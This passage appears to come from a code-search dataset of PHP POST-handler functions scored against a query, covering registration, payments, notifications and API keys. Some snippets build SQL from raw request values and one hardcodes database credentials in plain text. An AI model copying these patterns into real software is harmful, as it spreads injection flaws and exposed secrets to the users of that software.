){\n\t\t\t\n\t\t\t$response = array(\n\t\t\t\t'message' => 'bad request..', \n\t\t\t\t'error' => 'true'\n\t\t\t);\n\t\t\t$this->response($response, 400); \n\t\t}\n\n\t\t$query = $this->db->query(\"INSERT INTO member_gps (member_id , gps_lat, gps_lang, rbt) \n\t\t\t\t\t\t\t\t\tSELECT \n\t\t\t\t\t\t\t\t\t'{$member_id} as member_id'\n\t\t\t\t\t\t\t\t\t,'{$gps_lat} as gps_lat'\n\t\t\t\t\t\t\t\t\t,'{$gps_lang} as gps_lang'\n\t\t\t\t\t\t\t\t\t,now() as rbt\n\t\t\");\n\n\t\tif($query){\n\t\t\t$response = array(\n\t\t\t\t'message' => 'success insert...', \n\t\t\t\t'error' => false\n\t\t\t);\n\t\t\t$this->response($response, 200); \n\t\t}else{\n\t\t\t$response = array(\n\t\t\t\t'message' => 'failed to insert...', \n\t\t\t\t'error' => true\n\t\t\t);\n\t\t\t$this->response($response, 500);\n\t\t}\n\n\t}", "title": "" }, { "docid": "d9a13ff15659d1122f80403fb798711a", "score": "0.5132048", "text": "public function postDispatch() {\n\n }", "title": "" }, { "docid": "613264984485e0348aa3408cdba8f195", "score": "0.5126534", "text": "public function postAction()\n {\n return $this->handleCreateRequest();\n }", "title": "" }, { "docid": "b05e4616dba875c75c668322c9aef429", "score": "0.5125011", "text": "function new_business_register() {\n\n global $msw;\n\n $err = array();\n\n // Verify nonce\n if( !isset( $_POST['reg_nonce'] ) || !wp_verify_nonce( $_POST['reg_nonce'], 'register_business' ) ) {\n $err[] = 'Ooops, something went wrong, please try again later.';\n die();\n }\n\n if($_POST['phone_status'] != 'verified') {\n $pin = $msw->sendPin($_POST['bs_phone']);\n echo json_encode(array('pin' => $pin ));\n die();\n }\n \n // Get data \n $bs_name = mysql_escape_string($_POST['bs_name']);\n $bs_type = mysql_escape_string($_POST['bs_type']);\n $bs_username= mysql_escape_string($_POST['bs_username']);\n $bs_fname= mysql_escape_string($_POST['bs_fname']);\n $bs_lname = mysql_escape_string($_POST['bs_lname']);\n $bs_gender = mysql_escape_string($_POST['bs_gender']);\n $bs_dd = mysql_escape_string($_POST['bs_dd']);\n $bs_email = mysql_escape_string($_POST['bs_email']);\n $bs_phone = mysql_escape_string($_POST['bs_phone']);\n $phone_status = mysql_escape_string($_POST['phone_status']);\n $bs_streetaddress = mysql_escape_string($_POST['bs_streetaddress']);\n $bs_apartmentsuite = mysql_escape_string($_POST['bs_apartmentsuite']);\n $bs_city = mysql_escape_string($_POST['bs_city']);\n $bs_state = mysql_escape_string($_POST['bs_state']);\n $bs_zip = mysql_escape_string($_POST['bs_zip']);\n $bs_country = mysql_escape_string($_POST['bs_country']);\n $bs_pass = mysql_escape_string($_POST['bs_pass']);\n\n // Validate \n if(empty($bs_name)){\n $err[] = 'Business name required';\n } \n if(empty($bs_username)){\n $err[] = 'User name required';\n } \n if(empty($bs_fname)){\n $err[] = 'First name required';\n } \n if(empty($bs_lname)){\n $err[] = 'Last name required';\n }\n if(empty($bs_gender)) {\n $err[] = 'Gender required';\n } \n if(empty($bs_dd)) {\n $err[] = 'Date required';\n } \n if(empty($bs_email) || !$msw->isValidEmail($bs_email) ){\n $err[] = 'Valid Email required';\n }\n if(empty($bs_phone)){\n $err[] = 'Phone number required';\n }\n if(empty($bs_pass)) {\n $err[] = 'Password required';\n }\n\n // data in array\n $userdata = array(\n 'user_login' => $bs_username,\n 'user_pass' => $bs_pass,\n 'user_email' => $bs_email,\n 'first_name' => $bs_fname,\n 'last_name' => $bs_lname,\n 'role' => 'business'\n );\n\n if(empty($err)) {\n $user_id = wp_insert_user( $userdata );\n if( !is_wp_error($user_id) ) {\n // user meta field\n update_user_meta($user_id, 'billing_company', $bs_name);\n update_user_meta($user_id, 'bs_type', $bs_type);\n update_user_meta($user_id, 'billing_phone', $bs_phone);\n update_user_meta($user_id, 'gender', $bs_gender);\n update_user_meta($user_id, 'dd', $bs_dd);\n update_user_meta($user_id, 'billing_address_1', $bs_streetaddress);\n update_user_meta($user_id, 'billing_state', $bs_state);\n update_user_meta($user_id, 'apartmentsuite', $bs_apartmentsuite);\n update_user_meta($user_id, 'billing_city', $bs_city);\n update_user_meta($user_id, 'billing_postcode', $bs_zip);\n update_user_meta($user_id, 'billing_country', $bs_country);\n update_user_meta($user_id, 'phone_status', $phone_status);\n update_user_meta($user_id, 'email_status', 'unverified');\n // login user after successful registration\n $creds = array(\n 'user_login' => $bs_username,\n 'user_password' => $bs_pass,\n 'remember' => true\n );\n wp_signon( $creds, false );\n echo json_encode('success');\n } else {\n $wp_err = $user_id->get_error_message();\n echo json_encode($wp_err);\n }\n } else {\n echo json_encode($err[0]);\n }\n\n die();\n \n}", "title": "" }, { "docid": "9d62492220455cf5ae84fcec9dd8b8ad", "score": "0.5119406", "text": "public function post() {\n\t\t$post = $this->_route->post;\n\n\t\tif ($post === null) {\n\t\t\tthrow new \\Exception('Invalid JSON in POST of POST of 0mq request : ' . $this->_route->input);\n\t\t}\n\t\t$model = $this->__model();\n\n\t\t$container = $this->container('Entity');\n\n\t\t$entity = $model::create($post);\n\n\t\t$entity->save();\n\n\t\t$container['data'] = $entity->to('array');\n\t\t$container['errors'] = $entity->errors();\n\n\t\treturn $container;\n\t}", "title": "" }, { "docid": "ca6b86a30f08364f893288d98595ec65", "score": "0.51191753", "text": "public function asyncPublish($arns, $post_data) {\n\n $CI = & get_instance();\n $CI->load->model('Common_model');\n try {\n $promises = array();\n $insert_data = array();\n \n if (isset($post_data['sender']) && !empty($post_data['sender'])) {\n $insert_data['title'] = $post_data['title'];\n $insert_data['sender_id'] = $post_data['sender'];\n $insert_data['message'] = isset($post_data['message']) ? $post_data['message'] : \"\";\n $insert_data['receive_id'] = $arns['id'];\n $insert_data['device_type'] = $arns['device_type'];\n $insert_data['type'] = $post_data['type'];\n $insert_data['type_id'] = $post_data['type_id'];\n $insert_data['category'] = isset($post_data[\"category\"]) ? $post_data[\"category\"] : \"\";\n $insert_data['created_date'] = date('Y-m-d H:i:s');\n\n $id = $CI->Common_model->insert_single('budfie_notifications', $insert_data);\n }\n \n $notificationCount = $this->getBadgeCount($arns['id']);\n $message = [\n \"default\" => $post_data[\"title\"],\n \"APNS\" => json_encode([\n \"aps\" => [\n \"alert\" => array(\n \"title\" => \"\",\n \"body\" => $post_data[\"message\"],\n \"subtitle\" => \"\"\n ),\n \"sound\" => \"default\",\n \"mutable-content\" => 1,\n \"category\" => \"budfieIcon\",\n \"badge\" => (int) $notificationCount,\n \"data\" => array(\n \"attachment_url\" => $post_data[\"rest_image\"],\n \"message\" => $post_data[\"message\"],\n \"ext_link\" => $post_data[\"ext_link\"],\n \"url_title\" => $post_data[\"url_title\"],\n \"content_type\" => \"image\",\n \"type\" => $post_data[\"type\"],\n \"type_id\" => $post_data[\"type_id\"],\n \"category\" => isset($post_data[\"category\"]) ? $post_data[\"category\"] : \"\"\n )\n ]\n ]),\n \"GCM\" => json_encode([\n \"data\" => [\"body\" => array(\n \"title\" => $post_data[\"title\"],\n \"message\" => $post_data[\"message\"],\n \"type\" => $post_data[\"type\"],\n \"type_id\" => $post_data[\"type_id\"],\n \"image\" => $post_data[\"rest_image\"],\n \"ext_link\" => $post_data[\"ext_link\"],\n \"url_title\" => $post_data[\"url_title\"],\n \"category\" => isset($post_data[\"category\"]) ? $post_data[\"category\"] : \"\"\n )]\n ])\n ];\n $promises = $this->sns->publishAsync([\n 'Message' => json_encode($message),\n 'MessageStructure' => 'json',\n 'TargetArn' => $arns['device_arn']\n ]);\n// if (isset($post_data['sender']) && !empty($post_data['sender'])) {\n// $insert_data['title'] = $post_data['title'];\n// $insert_data['sender_id'] = $post_data['sender'];\n// $insert_data['message'] = isset($post_data['message']) ? $post_data['message'] : \"\";\n// $insert_data['receive_id'] = $arns['id'];\n// $insert_data['device_type'] = $arns['device_type'];\n// $insert_data['type'] = $post_data['type'];\n// $insert_data['type_id'] = $post_data['type_id'];\n// $insert_data['category'] = isset($post_data[\"category\"]) ? $post_data[\"category\"] : \"\";\n// $insert_data['created_date'] = date('Y-m-d H:i:s');\n//\n// $id = $CI->Common_model->insert_single('budfie_notifications', $insert_data);\n// }\n $allPromise = \\GuzzleHttp\\Promise\\all($promises);\n $data_promise = $allPromise->wait();\n return [\n \"success\" => true,\n \"message\" => \"OK\",\n \"result\" => $data_promise\n ];\n } catch (\\Exception $error) {\n\n return [\n \"success\" => false,\n \"message\" => \"error\"\n ];\n }\n }", "title": "" }, { "docid": "b0f3a1fed8e0f7cdd214a9553a5bdd3e", "score": "0.51188123", "text": "public function postContact() {\n\n }", "title": "" }, { "docid": "d597084a32872c392263568e58c02f6c", "score": "0.5117216", "text": "public function makePayment_post(){\n $accessToken = $this->getAccessToken();\n\n $userId = $this->checkLogin($accessToken);\n $this->request = $this->post();\n $this->form_validation->set_rules('user_id','User Id','trim|required');\n $this->form_validation->set_rules('credit','Credit','trim|required|callback_check_available_credit');\n $this->form_validation->set_rules('order_id','Order id','trim|required');\n\n if ($this->form_validation->run() == FALSE) {\n\n $this->setErrorJson(['user_id','credit','order_id']);\n }\n\n //check available drivers\n $this->load->model('Order_Model','Order',true);\n\n $driversTokens=$this->Order->getAllNearByDrivers($this->request);\n \n if(is_array($driversTokens) && empty($driversTokens)){\n\n $this->response(['status_code' => 1200, 'status_message' => \"No drivers available for your location.\"]);\n }\n $this->db->trans_begin(); \n $response = $this->paymentCredit($this->request);\n\n if($this->db->trans_status()==TRUE){\n $this->db->trans_commit(); \n\n //broadcast notification request & managing order history for drivers.\n\n $this->sendNotificationToDrivers($this->request,$driversTokens);\n $this->response(['status_code' => SUCCESS, 'status_message' => $this->lang->line('SUCCESS'),'data'=>['credits'=>$response]]);\n\n }else{\n $this->db->trans_rollback();\n $this->response(['status_code' => DB_ERROR, 'status_message' => $this->lang->line('FAILED'),'data'=>new stdClass()]);\n }\n\n }", "title": "" }, { "docid": "08c5d9563c62d5f3d804698093444870", "score": "0.5113673", "text": "public function postCreate(){\n\t}", "title": "" }, { "docid": "dfbe606389f09b659d1bada292bbbdae", "score": "0.51108533", "text": "public function push() {\n\t\theader(\"Access-Control-Allow-Origin: *\");\n\t\theader('Content-Type: application/json');\n\t\theader('Content-Type application/json; charset=utf-8');\n\t\ttry {\n\t\t\t$application_id = $_POST['application_id'];\n\t\t\t$mpid = $_POST['mpid'];\n\t\t\t$contry_to_publish = array(\"publish_to_MX\" => 1);\n\t\t\t$application = pg_fetch_object(pg_query(\"SELECT * FROM cbt.shop WHERE id = '\".$application_id.\"'\"));\n\t\t\t$url_products_publish_put = \"https://api-cbt.mercadolibre.com/api/SKUs/\".$mpid.\"/?access_token=\".$application->access_token;\n\t\t\t$ch = curl_init();\n\t\t\tcurl_setopt($ch, CURLOPT_URL, $url_products_publish_put);\n\t\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));\n\t\t\tcurl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');\n\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($contry_to_publish));\n\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t$response = curl_exec($ch);\n\t\t\tcurl_close($ch);\n\t\t\tif ($response == null) {\n\t\t\t\tpg_query($this->conn->conn, \"UPDATE cbt.items SET status='publish', update_date='\".date('y-m-d H:i:s').\"' WHERE mpid = '\".$mpid.\"'\");\n\t\t\t\t$this->conn->close();\n\t\t\t\techo json_encode(array('msg' => \"Success mpid \".$mpid, 'status' => 1), JSON_UNESCAPED_UNICODE);\n\t\t\t}\n\n\t\t} catch (Exception $e) {\n\t\t\t$this->conn->close();\n\t\t\techo json_encode(array('msg' => \"Wrong Data base Connection\", 'error' => $e->getMessage(), 'status' => 0), JSON_UNESCAPED_UNICODE);\n\t\t}\n\t}", "title": "" }, { "docid": "860b217096b70d604a7ccfde5fe8794d", "score": "0.51068604", "text": "public function Create_POST() {\n $this->model->UserID = $_SESSION['current_userid'];\n $user = new MemberModel();\n $user->getuserinfo($this->model->UserID);\n\n // collect POST values\n $this->model->Status = 'Submitted';\n $this->model->GST = $_POST['GST'];\n $this->model->Price = $_POST['Price'];\n $this->model->Total = $_POST['Total'];\n $this->model->Firstname = $user->CustomerName;\n $this->model->Lastname = \"\";\n $this->model->Address1 = $user->Address;\n $this->model->Address2 = \"\";\n $this->model->City = \"\";\n $this->model->State = \"\";\n $this->model->Country = \"\";\n $this->model->PostalCode = \"\";\n $this->model->Phone = $user->PhoneNumber;\n // echo $this->model->GST ;\n // exit;\n $orderID = $this->model->create();\n\n // Create Items;\n $item = new OrderDetailModel();\n foreach ($_POST as $key=>$value) {\n if (stristr($key,'qty')) {\n $id = str_replace('qty','',$key);\n $qty = $value;\n\n $item->HatID = $id;\n $item->Quantity = $value;\n $item->OrderID = $orderID;\n $item->UnitPrice = 0;\n $item->create();\n // echo $item->HatID;\n // exit;\n }\n }\n\n unset($_SESSION['cart']);\n echo \"<script>location.href='index.php?content_page=Order';</script>\";\n }", "title": "" }, { "docid": "0fc61664f374df6855ae462ca214a20c", "score": "0.5105806", "text": "public function createpost(){\n\n \n header(\"Content-Type: application/json\");\n $_POST = json_decode(file_get_contents('php://input'), true);\n $userData = $this->Auth->getUserData($_POST['token']); \n if( $userData ) { //user logged in, token verified\n if ($this->postmodel_check($_POST['postData']) == false) {\n\n //frontend do validation also, So no need to show errors for individual input field \n $this->Errorservice->translateCode(\"INVALID_REQUEST\");\n\n } else {\n\n if( $this->Reddit->post($_POST['postData'],$userData->id) == true ) {\n echo json_encode(array( 'success' => true, 'message' => \"Post submitted sucessfully!\" ));\n } \n\n }\n\n }\n\n }", "title": "" }, { "docid": "620053357584172829fd61d9a42c6195", "score": "0.5100775", "text": "function hs_insert_lead($hs_settings){\n\t\tif ($_SERVER['REQUEST_METHOD'] == \"POST\"){\n\t\t\tif ( !empty($_POST['hs_form_submitted']) ){\n\t\t\t\t/*******************************\n\t\t\t\tyour existing form processing\n\t\t\t\t********************************/\n\t\t\t\t//START HubSpot Lead Submission\n\t\t\t\t$strPost = \"\";\n\t\t\t\t//create string with form POST data\n\t\t\t\t$strPost = \"\"\n\t\t\t\t. \"FullName=\" . urlencode($_POST['full_name'])\n\t\t\t\t. \"&Email=\" . urlencode($_POST['email'])\n\t\t\t\t. \"&TwitterHandle=\" . urlencode($_POST['twitter_handle'])\n\t\t\t\t. \"&Message=\" . urlencode($_POST['message'])\n\t\t\t\t. \"&IPAddress=\" . urlencode($_SERVER['REMOTE_ADDR'])\n\t\t\t\t. \"&UserToken=\" . urlencode($_COOKIE['hubspotutk']);\n\t\t\t\t//set POST URL\n\t\t\t\t//$url = $hs_settings['hs_leasapi']\n\t\t\t\t$url = $hs_settings['hs_leads_url'];\n\t\t\t\t//intialize cURL and send POST data\n\t\t\t\t$ch = @curl_init();\n\t\t\t\t@curl_setopt($ch, CURLOPT_POST, true);\n\t\t\t\t@curl_setopt($ch, CURLOPT_POSTFIELDS, $strPost);\n\t\t\t\t@curl_setopt($ch, CURLOPT_URL, $url);\n\t\t\t\t@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\t@curl_exec($ch);\n\t\t\t\t@curl_close($ch);\n\t\t\t\t//END HubSpot Lead Submission\n\t\t\t\techo \"Message Sent\";\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "e8b53e359701ad0b8516cb277653004b", "score": "0.51002526", "text": "public function testCreateOrderItemUsingPOST()\n {\n }", "title": "" }, { "docid": "c2b8ca82bde489a895153510a503f316", "score": "0.50992954", "text": "public function PostAction()\n\t{\n\t}", "title": "" }, { "docid": "b78240b2fb475262d3b872640ea67a79", "score": "0.50904477", "text": "public function webhookAction()\n {\n // Web hooks will only work wirh https:// so use ngrok for testing before deployment to live server\n $response = file_get_contents('php://input'); // This method gets the raw post data from a json body in json format\n\n $response_array = json_decode($response, true);\n \n if ($response_array['data']['object']['status'] == 'succeeded')\n {\n $charge_id = $response_array['data']['object']['id'];\n $email = $response_array['data']['object']['source']['name'];\n\n $db = new Zend_Db_Table('stripe_events');\n\n $data = array(\n 'email' => $email,\n 'charge_id' => $charge_id\n );\n\n $db->insert($data);\n\n $this->_helper->json($data);\n }\n else\n {\n $this->_helper->json(\"Payment ERROR\");\n }\n \n }", "title": "" }, { "docid": "78338e9be1b757973eba320cc85b700d", "score": "0.5086027", "text": "public function postProcess() {\n\t\tif(Configuration::get('Paytm_ENABLE_LOG')){\n\t\t\t$log_entry = \"Reponse Type: Process Transaction (DEFAULT)\". PHP_EOL;\n\t\t\t$log_entry .= \"Reponse Params: \" . print_r($_POST, true) .PHP_EOL.PHP_EOL;\n\t\t\tPaytm::addLog($log_entry, __FILE__, __LINE__);\n\t\t}\n\t\t/* make log for all payment response */\n\n\t\t$merchant_id = Configuration::get('Paytm_MERCHANT_ID');\n\t\t$secret_key = Configuration::get('Paytm_MERCHANT_KEY');\n\t\t\n\t\t$paramList = $_POST;\n\t\t$order_id = $_POST['ORDERID'];\n\t\t$res_code = $_POST['RESPCODE'];\n\t\t$res_desc = $_POST['RESPMSG'];\n\t\t$checksum_recv = $_POST['CHECKSUMHASH'];\n\t\t$order_amount = $_POST['TXNAMOUNT'];\n\n\t\t$status_code = \"\";\n\t\t$bool = \"FALSE\";\n\t\t$bool = verifychecksum_e($paramList, $secret_key, $checksum_recv);\n\t\t$cartID = $order_id;\n\t\t\n\t\t// $cartID = \"7\"; // just for testing.\n\n\t\t$extendstras = array();\n\t\t$extras['transaction_id'] = $_POST['TXNID'];\n\t\t$cart = new Cart(intval($cartID));\n\t\t$amount = $cart->getOrderTotal(true,Cart::BOTH);\n\t\t$responseMsg = $_POST['RESPMSG'];\n\n\t\tif ($bool == \"TRUE\") {\n\t\t\t// Create an array having all required parameters for status query.\n\t\t\t$requestParamList = array(\"MID\" => $merchant_id , \"ORDERID\" => $_POST['ORDERID']);\n\n\t\t\t$StatusCheckSum = getChecksumFromArray($requestParamList, $secret_key);\n\n\t\t\t$requestParamList['CHECKSUMHASH'] = $StatusCheckSum;\n\n\t\t\tif ($res_code == \"01\") {\n\n\t\t\t\t/* make log for all transaction status request */\n\t\t\t\tif(Configuration::get('Paytm_ENABLE_LOG')){\n\t\t\t\t\t$log_entry = \"Request Type: Get Transaction Status\". PHP_EOL;\n\t\t\t\t\t$log_entry .= \"Request URL: \". Configuration::get('Paytm_TRANSACTION_STATUS_URL') .PHP_EOL;\n\t\t\t\t\t$log_entry .= \"Request Params: \" . print_r($_POST, true) .PHP_EOL.PHP_EOL;\n\t\t\t\t\tPaytm::addLog($log_entry, __FILE__, __LINE__);\n\t\t\t\t}\n\t\t\t\t/* make log for all transaction status request */\n\n\t\t\t\t$responseParamList = callNewAPI(Configuration::get('Paytm_TRANSACTION_STATUS_URL'), $requestParamList);\n\n\t\t\t\t/* make log for all transaction status reponse */\n\t\t\t\tif(Configuration::get('Paytm_ENABLE_LOG')){\n\t\t\t\t\t$log_entry = \"Response Type: Get Transaction Status\". PHP_EOL;\n\t\t\t\t\t$log_entry .= \"Response Params: \" . print_r($_POST, true) .PHP_EOL.PHP_EOL;\n\t\t\t\t\tPaytm::addLog($log_entry, __FILE__, __LINE__);\n\t\t\t\t}\n\t\t\t\t/* make log for all transaction status reponse */\n\n\n\t\t\t\tif($responseParamList['STATUS']=='TXN_SUCCESS' && $responseParamList['TXNAMOUNT']==$amount) {\n\t\t\t\t\t$status_code = \"ok\";\n\t\t\t\t\t$message= \"Transaction Successful\";\n\t\t\t\t\t$status = Configuration::get('Paytm_ID_ORDER_SUCCESS');\n\t\t\t\t} else{\n\t\t\t\t\t$responseMsg = \"It seems some issue in server to server communication. Kindly connect with administrator.\";\n\t\t\t\t\t$message = \"Transaction Failed\";\n\t\t\t\t\t$status = Configuration::get('Paytm_ID_ORDER_FAILED');\n\t\t\t\t}\n\t\t\t} else if ($res_code == \"141\") {\n\t\t\t\t$responseMsg = \"Transaction Cancelled. \";\n\t\t\t\t$message = \"Transaction Cancelled\";\n\t\t\t\t$status = \"6\";\n\t\t\t} else {\n\t\t\t\t$responseMsg = \"Transaction Failed. \";\n\t\t\t\t$message = \"Transaction Failed\";\n\t\t\t\t$status = Configuration::get('Paytm_ID_ORDER_FAILED');\n\t\t\t}\n\n\t\t} else {\n\t\t\t$status_code = \"Failed\";\n\t\t\t$responseMsg = \"Security Error ..!\";\n\t\t\t$status = Configuration::get('Paytm_ID_ORDER_FAILED');\n\t\t}\n\n\n\t\t$customer = new Customer($cart->id_customer);\n\t\t\n\t\t$history_message = $responseMsg.'. Paytm Payment ID: '.$_POST['TXNID'];\n\n\t\t$this->module->validateOrder(intval($cart->id), $status, $order_amount, $this->module->displayName, $history_message, $extras, '', false, $cart->secure_key);\n\t\tTools::redirectLink(__PS_BASE_URI__.'order-confirmation.php?key='.$customer->secure_key.'&id_cart='.(int)$cart->id.'&id_module='.(int)$this->module->id.'&id_order='.(int)$this->module->currentOrder);\n\t\treturn;\n\t}", "title": "" }, { "docid": "45a402d184a140852ce2cffa5725b9e4", "score": "0.5084478", "text": "function create_subscription($arr){\n $request=array();\n $request['path']=pad_path($arr[PATH]);//$arr[OPERATION];\n $request['target']=($arr[TARGET]);\n $path = \"/sub\";#$arr[PROC_NAME];\n global $host, $port;\t\n $url = \"http://\".$host.\":\".$port.$path;\n echo \"request: \".json_encode($request);\n if(count($request)>0){\n $reply = post(json_encode($request), $url);\n return $reply;\n }\n return 0;\n}", "title": "" }, { "docid": "35f3e860dd074cd28c353b33f1835bc3", "score": "0.5076855", "text": "public function testPostingAPIShipFbsPosting()\n {\n\n }", "title": "" }, { "docid": "10b160b3628452b5eebf911e60d22a1c", "score": "0.507532", "text": "public function insertPost()\n {\n $this->setFieldPost();\n $this->insert();\n }", "title": "" }, { "docid": "053319f4da0fdbc5ee475814b0aec758", "score": "0.5069959", "text": "function handlePOSTRequest() {\n if (connectToDB()) {\n if (array_key_exists('handleUpdateRequest', $_POST)) {\n handleUpdateRequest();\n } else if (array_key_exists('insertQueryRequest', $_POST)) {\n handleInsertRequest();\n } else if (array_key_exists('deleteQueryRequest', $_POST)) {\n handleDeleteRequest();\n }\n disconnectFromDB();\n }\n}", "title": "" }, { "docid": "005bb021890f3147c032480dad41e91a", "score": "0.5069225", "text": "public function send_notification_to_next_rider(){\n\t\t//Post data from Android \n\t\t$ClientID = $_POST['client_id'];\n\t\t$outletID = $_POST['outlet_id'];\n\t\t$outletName = $_POST['outlet_name'];\n\t\t$outletType = $_POST['outlet_type'];\n\t\t$pickupDateTime = $_POST['pickup_datetime'];\n\t\t$deliverDateTime = $_POST['deliver_datetime'];\n\t\t$mobileNumber = $_POST['mobile_number'];\n\t\t$customerName = $_POST['customer_name'];\n\t\t$postalCode = $_POST['postal_code'];\n\t\t$address = $_POST['address'];\n\t\t$unitNumberFirst = $_POST['unit_number_first'];\n\t\t$unitNumberLast = $_POST['unit_number_last'];\n\t\t$foodCost = $_POST['food_cost'];\n\t\t$receiptNumber = $_POST['receipt_number'];\n\t\t$currentRiderIndex = (int) $_POST['current_rider_index'];\n\t\t$totalRiderIndex = (int) $_POST['total_rider_index'];\n\t\t$currentRiderIndex = $currentRiderIndex + 1;\n\t\t\n\t\t//Bind the post data to data variable \n\t\t$data['client_id'] = $ClientID;\n\t\t$data['outlet_id'] = $outletID;\n\t\t$data['outlet_name'] = $outletName;\n\t\t$data['outlet_type'] = $outletType;\n\t\t$data['pickup_datetime'] = $pickupDateTime;\n\t\t$data['deliver_datetime'] = $deliverDateTime;\n\t\t$data['mobile_number'] = $mobileNumber;\n\t\t$data['customer_name'] = $customerName;\n\t\t$data['postal_code'] = $postalCode;\n\t\t$data['address'] = $address;\n\t\t$data['unit_number_first'] = $unitNumberFirst;\n\t\t$data['unit_number_last'] = $unitNumberLast;\n\t\t$data['food_cost'] = $foodCost;\n\t\t$data['receipt_number'] = $receiptNumber;\n\t\t$data['current_rider_index'] = $currentRiderIndex;\n\t\t$data['total_rider_index'] = $totalRiderIndex;\n\t\t$data['notification_for'] = \"rider\";\n\t\t\n\t\tfor($i=0; $i < $totalRiderIndex; $i++){\n\t\t\t$data[\"rider_id_\".$i] = $_POST[\"rider_id_\".$i];\n\t\t\t$data[\"rider_name_\".$i] = $_POST[\"rider_name_\".$i];\n\t\t\t$data[\"rider_lat_\".$i] = $_POST[\"rider_lat_\".$i];\n\t\t\t$data[\"rider_lng_\".$i] = $_POST[\"rider_lng_\".$i];\n\t\t\t$data[\"rider_gcm_reg_id_\".$i] = $_POST[\"rider_gcm_reg_id_\".$i];\n\t\t}\n\t\t\n\t\t$data['MessageFromGCM'] = $this->send_notification_to_rider( array($data[\"rider_gcm_reg_id_\".$currentRiderIndex]), $data );\n\t\t\n\t\tif($data['MessageFromGCM'] == false){\n\t\t\t$data['error'] = true;\n\t\t\t$data['error_message'] = \"Failed to send notification\";\n\t\t\t\n\t\t\techo json_encode($data);\n\t\t\texit;\n\t\t}else{\t\t\n\t\t\t$data['error'] = false;\n\t\t\t$data['success_message'] = \"Notification sent to next rider\";\n\t\t\t\n\t\t\techo json_encode($data);\n\t\t\texit;\n\t\t}\n\t}", "title": "" }, { "docid": "b691bc69d28fcbbbbb9e1bc3f4dfdb2f", "score": "0.50684386", "text": "public function regenerate_post()\n {\n\t\t$old_key = $this->post('key');\n\t\t$key_details = self::_get_key($old_key);\n\n\t\t// The key wasnt found\n\t\tif ( ! $key_details)\n\t\t{\n\t\t\t// NOOOOOOOOO!\n\t\t\t$this->response(array('status' => 0, 'error' => 'Invalid API Key.'), 400);\n\t\t}\n\n\t\t// Build a new key\n\t\t$new_key = self::_generate_key();\n\n\t\t// Insert the new key\n\t\tif (self::_insert_key($new_key, array('level' => $key_details->level, 'ignore_limits' => $key_details->ignore_limits)))\n\t\t{\n\t\t\t// Suspend old key\n\t\t\tself::_update_key($old_key, array('level' => 0));\n\n\t\t\t$this->response(array('status' => 1, 'key' => $new_key), 201); // 201 = Created\n\t\t}\n\n\t\telse\n\t\t{\n\t\t\t$this->response(array('status' => 0, 'error' => 'Could not save the key.'), 500); // 500 = Internal Server Error\n\t\t}\n }", "title": "" }, { "docid": "400c76efca752881f869dcfbfc727e07", "score": "0.5067553", "text": "function postQuestion() {\r\n\r\n\t$resource = Mage::getSingleton('core/resource');\r\n\t$link = mysqli_connect(\"0ef549e90e0f270df4fa0fb70d424e21f53e78af.rackspaceclouddb.com\", \"94hebi48h48three\", \"QrwFbKSFyA7E\", \"8ehdh84_magentothree\");\r\n\t\r\n\t$prod = $_POST[\"prod\"];\r\n\t$text = $_POST[\"text\"];\r\n\t$fname = $_POST[\"fname\"];\r\n\t$zip = $_POST[\"zip\"];\r\n\r\n\tif (!(empty($prod) || empty($text) || empty($fname) || empty($zip))){\r\n\t\t$sProd = mysqli_real_escape_string($link, $prod);\r\n\t\t$sText = mysqli_real_escape_string($link, $text);\r\n\t\t$sName = mysqli_real_escape_string($link, $fname);\r\n\t\t$sZip = mysqli_real_escape_string($link, $zip);\r\n\r\n\t\t$writeCon = $resource->getConnection('core_write');\r\n\t\t$query = \"insert into un38dj4_rg_questions (prod,text,fname,zip) values (:prod, :text, :fname, :zip)\";\r\n\t\t$binds = array(\r\n\t\t\t'prod' => $sProd,\r\n\t\t\t'text' => $sText,\r\n\t\t\t'fname' => $sName,\r\n\t\t\t'zip' => $sZip,\r\n\t\t\t);\r\n\t\t// echo \"query: \" . $query . \"<br />\";\r\n\t\t$status = $writeCon->query($query, $binds);\r\n\r\n\t\t// echo \"post succes? \" . $status . \"<br />\";\r\n\t\techo \"Thank you - your question was submitted!\";\r\n\r\n\t} else {\r\n\t\techo \"Please try again - there was a problem submitting your question.\";\r\n\t}\r\n}", "title": "" }, { "docid": "a12377b480536b03c6037dc027226ce2", "score": "0.50651884", "text": "public function register_post()\n {\n $userData = array(\n 'name' => $this->post('name'),\n 'username' => $this->post('username'),\n 'password' => $this->post('password'),\n 'roleId' => $this->post('roleId')\n );\n\n try {\n $tokenData = array();\n $user = $this->user_model->create($userData);\n $tokenData['userId'] = $user['uuid'];\n $tokenData['timestamp'] = now();\n// $tokenData['role'] = $this->role_model->get_role($roleId);\n $tokenData['role'] = $user['role'];\n\n $response['token'] = Authorization::generate_token($tokenData);\n\n $this->response($response, REST_Controller::HTTP_OK);\n } catch (CIPHPUnitTestExitException $ex) {\n return;\n } catch (Exception $e) {\n $this->response(['success' => false, 'message' => $e->getMessage()], REST_Controller::HTTP_BAD_REQUEST);\n return;\n }\n }", "title": "" }, { "docid": "47118d16e834ef8715b05b5201a07173", "score": "0.5058452", "text": "public function testPayRunsPayRunIDPost()\n {\n }", "title": "" }, { "docid": "5b09cba7009956b6ea7ed95b3c400c48", "score": "0.5058026", "text": "function buyg_notification_rest_api_callback($request)\n{\n global $wpdb;\n $table = $wpdb->prefix . \"maddaai_notifications\";\n //recupero i dati della richiesta in post , codificata in JSON\n $parameters = $request->get_json_params();\n //controllo che siano settati i parametri della richiesta\n $data['name'] = $parameters[\"name\"];\n $data['surname'] = $parameters[\"surname\"];\n $data['link'] = $parameters[\"link\"];\n $data['price'] = $parameters[\"price\"];\n $data['store'] = $parameters[\"store\"];\n $data['read'] = 0;\n //salvo tutti i dati nel db\n $table_notifications = $wpdb->prefix . \"maddaai_notifications\";\n $ret = $wpdb->insert($table_notifications, $data);\n if($ret) {\n echo json_encode(array(\"status\" => 1));\n die;\n }\n else {\n echo json_encode(array(\"status\" => 0));\n die;\n }\n}", "title": "" }, { "docid": "613486873262befabbc782368efaea5c", "score": "0.5057949", "text": "public function index_post()\n {\n $input = $this->input->post();\n $this->db->insert('transaksi',$input);\n \n $this->response(['Item created 